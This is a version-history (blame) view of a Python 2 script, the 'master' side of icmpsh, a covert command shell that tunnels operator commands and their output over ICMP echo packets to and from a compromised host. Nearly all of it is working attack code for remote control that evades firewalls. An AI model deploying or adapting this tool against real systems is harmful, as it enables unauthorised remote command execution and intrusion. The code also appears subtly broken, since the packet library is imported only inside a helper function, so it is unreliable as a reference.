2010-10-28 00:54:46 +04:00
|
|
|
#!/usr/bin/env python
|
|
|
|
#
|
|
|
|
# icmpsh - simple icmp command shell (port of icmpsh-m.pl written in
|
|
|
|
# Perl by Nico Leidecker <nico@leidecker.info>)
|
|
|
|
#
|
|
|
|
# Copyright (c) 2010, Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
|
|
|
#
|
|
|
|
#
|
|
|
|
# This program is free software: you can redistribute it and/or modify
|
|
|
|
# it under the terms of the GNU General Public License as published by
|
|
|
|
# the Free Software Foundation, either version 3 of the License, or
|
|
|
|
# (at your option) any later version.
|
|
|
|
#
|
|
|
|
# This program is distributed in the hope that it will be useful,
|
|
|
|
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
|
|
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
|
|
|
# GNU General Public License for more details.
|
|
|
|
#
|
|
|
|
# You should have received a copy of the GNU General Public License
|
|
|
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
|
|
|
|
|
|
|
import os
|
|
|
|
import select
|
|
|
|
import socket
|
2010-10-29 13:50:41 +04:00
|
|
|
import subprocess
|
2010-10-28 00:54:46 +04:00
|
|
|
import sys
|
|
|
|
|
2010-10-29 13:50:41 +04:00
|
|
|
def checkImpacketLibs():
|
|
|
|
try:
|
|
|
|
from impacket import ImpactDecoder
|
|
|
|
from impacket import ImpactPacket
|
|
|
|
except ImportError:
|
|
|
|
sys.stderr.write('You need to install Python Impacket library first\n')
|
|
|
|
sys.exit(255)
|
|
|
|
|
|
|
|
def setNonBlocking(fd):
|
|
|
|
"""
|
|
|
|
Make a file descriptor non-blocking
|
|
|
|
"""
|
|
|
|
|
|
|
|
import fcntl
|
|
|
|
|
|
|
|
flags = fcntl.fcntl(fd, fcntl.F_GETFL)
|
|
|
|
flags = flags | os.O_NONBLOCK
|
|
|
|
fcntl.fcntl(fd, fcntl.F_SETFL, flags)
|
2010-10-28 00:54:46 +04:00
|
|
|
|
|
|
|
def main(src, dst):
|
2010-10-29 13:50:41 +04:00
|
|
|
if subprocess.mswindows:
|
|
|
|
sys.stderr.write('ERROR: icmpsh master can only be run on Posix systems\n')
|
|
|
|
sys.exit(255)
|
|
|
|
|
|
|
|
checkImpacketLibs()
|
|
|
|
|
2010-10-28 00:54:46 +04:00
|
|
|
# Make standard input a non-blocking file
|
2010-10-29 13:50:41 +04:00
|
|
|
stdin_fd = sys.stdin.fileno()
|
|
|
|
setNonBlocking(stdin_fd)
|
2010-10-28 00:54:46 +04:00
|
|
|
|
|
|
|
# Open one socket for ICMP protocol
|
|
|
|
# A special option is set on the socket so that IP headers are included
|
|
|
|
# with the returned data
|
|
|
|
try:
|
|
|
|
sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
|
|
|
|
except socket.error, e:
|
|
|
|
print 'You need to run icmpsh master with administrator privileges'
|
|
|
|
sys.exit(1)
|
|
|
|
|
|
|
|
sock.setblocking(0)
|
|
|
|
sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
|
|
|
|
|
|
|
|
# Create a new IP packet and set its source and destination addresses
|
|
|
|
ip = ImpactPacket.IP()
|
|
|
|
ip.set_ip_src(src)
|
|
|
|
ip.set_ip_dst(dst)
|
|
|
|
|
|
|
|
# Create a new ICMP packet of type ECHO REPLY
|
|
|
|
icmp = ImpactPacket.ICMP()
|
|
|
|
icmp.set_icmp_type(icmp.ICMP_ECHOREPLY)
|
|
|
|
|
|
|
|
# Instantiate an IP packets decoder
|
|
|
|
decoder = ImpactDecoder.IPDecoder()
|
|
|
|
|
|
|
|
while 1:
|
|
|
|
cmd = ''
|
|
|
|
|
|
|
|
# Wait for incoming replies
|
|
|
|
if sock in select.select([ sock ], [], [])[0]:
|
|
|
|
buff = sock.recv(4096)
|
|
|
|
|
|
|
|
if 0 == len(buff):
|
|
|
|
# Socket remotely closed
|
|
|
|
sock.close()
|
|
|
|
sys.exit(0)
|
|
|
|
|
|
|
|
# Packet received; decode and display it
|
|
|
|
ippacket = decoder.decode(buff)
|
|
|
|
icmppacket = ippacket.child()
|
|
|
|
|
|
|
|
# If the packet matches, report it to the user
|
|
|
|
if ippacket.get_ip_dst() == src and ippacket.get_ip_src() == dst and 8 == icmppacket.get_icmp_type():
|
|
|
|
# Get identifier and sequence number
|
|
|
|
ident = icmppacket.get_icmp_id()
|
|
|
|
seq_id = icmppacket.get_icmp_seq()
|
|
|
|
data = icmppacket.get_data_as_string()
|
|
|
|
|
|
|
|
if len(data) > 0:
|
2010-10-28 03:01:17 +04:00
|
|
|
sys.stdout.write(data)
|
2010-10-28 00:54:46 +04:00
|
|
|
|
|
|
|
# Parse command from standard input
|
|
|
|
try:
|
|
|
|
cmd = sys.stdin.readline()
|
|
|
|
except:
|
|
|
|
pass
|
|
|
|
|
2010-10-28 04:19:40 +04:00
|
|
|
if cmd == 'exit\n':
|
2010-10-28 03:01:17 +04:00
|
|
|
return
|
2010-10-28 00:54:46 +04:00
|
|
|
|
|
|
|
# Set sequence number and identifier
|
|
|
|
icmp.set_icmp_id(ident)
|
|
|
|
icmp.set_icmp_seq(seq_id)
|
|
|
|
|
|
|
|
# Include the command as data inside the ICMP packet
|
|
|
|
icmp.contains(ImpactPacket.Data(cmd))
|
|
|
|
|
|
|
|
# Calculate its checksum
|
|
|
|
icmp.set_icmp_cksum(0)
|
|
|
|
icmp.auto_checksum = 1
|
|
|
|
|
|
|
|
# Have the IP packet contain the ICMP packet (along with its payload)
|
|
|
|
ip.contains(icmp)
|
|
|
|
|
|
|
|
# Send it to the target host
|
|
|
|
sock.sendto(ip.get_packet(), (dst, 0))
|
|
|
|
|
|
|
|
if __name__ == '__main__':
|
2010-10-29 13:50:41 +04:00
|
|
|
if subprocess.mswindows:
|
|
|
|
print 'ERROR: this icmpsh master can only be run on Posix systems'
|
|
|
|
sys.exit(1)
|
|
|
|
|
2010-10-28 03:01:17 +04:00
|
|
|
if len(sys.argv) < 3:
|
2010-10-29 13:50:41 +04:00
|
|
|
print 'ERROR: missing mandatory options. Execute as root:'
|
2010-10-28 00:54:46 +04:00
|
|
|
print './icmpsh-m.py <source IP address> <destination IP address>'
|
|
|
|
sys.exit(1)
|
|
|
|
|
|
|
|
main(sys.argv[1], sys.argv[2])
|